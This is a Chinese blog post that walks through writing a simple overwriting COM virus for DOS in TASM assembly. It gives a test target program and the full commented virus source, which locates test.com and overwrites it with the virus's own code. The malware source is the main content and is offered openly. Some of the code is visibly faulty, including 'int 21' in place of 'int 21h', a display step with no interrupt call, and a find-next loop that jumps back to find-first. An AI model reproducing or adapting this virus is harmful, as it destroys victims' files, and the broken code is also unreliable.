• 写一个简单的COM覆盖型的Virus


    先写一个测试程序"HelloWorld",取名test.asm, 如下:

    ;DTA数据传输区,存放文件的相关控制信息,它的作用是在磁盘文件与程序之间做一个桥梁,程序写文件时先写DTA,程序读文件时就直接从DTA中读取文件的信息。

    .model tiny

    .code

        org 0100h

    ok: mov dx,offset message

        mov ah,09h

        int 21h

        

        mov ah,4ch

        int 21h

        ret

        

        message db 'HelloWorld!!',0dh,0ah,'$'

    end ok

    用: tasm test.asm 编译,再tlink test.obj /t 命令生成test.com文件。这个文件用于测试。

    接着是Virus程序,这取名叫v.asm ,代码如下:

    .model tiny

    .code

    org 100h

    start:

    setdta:            ;设置DTA

        lea dx,dta    ;将DTA的起始地址赋给dx

        mov ah,1ah    ;1ah功能调用,设置DTA地址,调用参数 ds:dx=DTA地址

        int 21h        ;DOS中断

    findf:            ;查找文件

        mov ah,4eh    ;4eh功能调用,查找匹配文件,参数 ds:dx=ASCIZ串地址,cx属性

        lea dx,fname    ;将文件名地址赋给dx

        mov cx,7        ;指定查找文件类型,7表示查找所有文件

        int 21h        ;DOS中断

        jc notfind        ;处理没有找到文件,jc是当CF=1时跳转

    dispfn:            ;显示文件

        lea dx,[dta+30]    ;打印文件,位置在它偏移30个字节的地方

        push ax        ;保存ax中的内容

        mov ah,09h    ;9号功能调用,显示字符串,调用参数 ds:dx=串地址,字符串以'$'结尾。

        pop ax        ;还原ax

    openf:            ;打开文件

        mov ax,3d02h    ;3dh功能调用,调用参数 ds:dx=ASCIZ串地址,al=访问文件共享方式,0=读,1=写,2=读/写;若调用成功,返回参数AX=文件代号

        int 21h        ;DOS中断

        jc notopen    ;没有打开跳到notopen

        xchg ax,bx    ;将打开文件功能调用的出口参数(文件代号)存到bx当中

    pointf:            ;定义文件的读写指针

        mov ax,4200h    ;42号功能调用,移动文件指针,调用参数 BX=文件代号,CX:DX=位移量,AL=移动方式

        xor cx,cx        ;将cx清零,代表偏移量的高位

        xor dx,dx        ;将dx清零,代表偏移量的低位

        int 21h        ;DOS中断,偏移量都为零,说明从文件的最开始处覆盖,若成功,dx:ax=新指针位置;失败,ax=错误码

        jc notpoint    ;如果设置错误就跳转

        mov filesize,ax    ;将文件的大小赋到内存单元中,ax是42号功能调用的出口参数

    writef:            ;写文件

        mov ah,40h    ;40h调用,写文件或设备,ds:dx=数据缓冲区地址,bx=文件代号,cx=写入的字节数;若调用成功返回ax=实际实际写入的字节数

        mov cx,filel    ;把要写入文件的长度存到cx

        lea dx,start    ;将病毒的起始地址存到dx当中

        int 21h        ;DOS中断

        jc notwrite    ;判断写入的状态

    closef:            ;执行了写操作之后关闭这个文件

        mov ah,3eh    ;3eh调用,关闭文件,bx=文件代号

        int 21h        ;DOS中断

        jc notclose    ;判断关闭文件是否成功

    findnext:            ;查找下一个文件

        mov ah,4fh    ;4fh调用,查找下一匹配文件,调用参数 DAT保留4eh的原始信息

        jmp findf        ;跳回继续查找文件

    notfind:            ;notfind符号地址

    notopen:            ;notopen符号地址

    notpoint:

    notwrite:

    notclose:

    quit:            ;退出程序

        mov ah,4ch    ;4ch调用,带返回码终止,参数 al=返回码

        int 21

        

    dta db 44 dup (0)        ;定义一个44字节的缓冲区

        db '$'        ;字符串的结束符,9号功能调用要用到

    fname db "test.com",0    ;指定文件名

    filesize dw ?        ;定义一个存放文件大小的字节单元

    filel equ $-start        ;当前的偏移量($(已经到了文件的末尾了))-病毒的起始偏移量(start)

    end start

    同样用: tasm v.asm 编译,再tlink v.obj 命令生成v.exe文件。运行v.exe文件,即可把v.exe绑到test.com文件上去 !!!

    OK !! OK !!

  • 相关阅读:
    基于jQuery的上下无缝滚动应用(单行或多行)
    表单验证
    中国剩余定理 ( 的学习 )
    扩展欧几里德算法--学习笔记
    Vijos P1794 文化之旅
    1336 : Matrix Sum (hihocoder)
    nyoj 1030 hihocoder 1338
    多重邻接表
    图的存储 ( 十字链表 )
    01背包的变形
  • 原文地址:https://www.cnblogs.com/luowei010101/p/1984024.html
Copyright © 2020-2023  润新知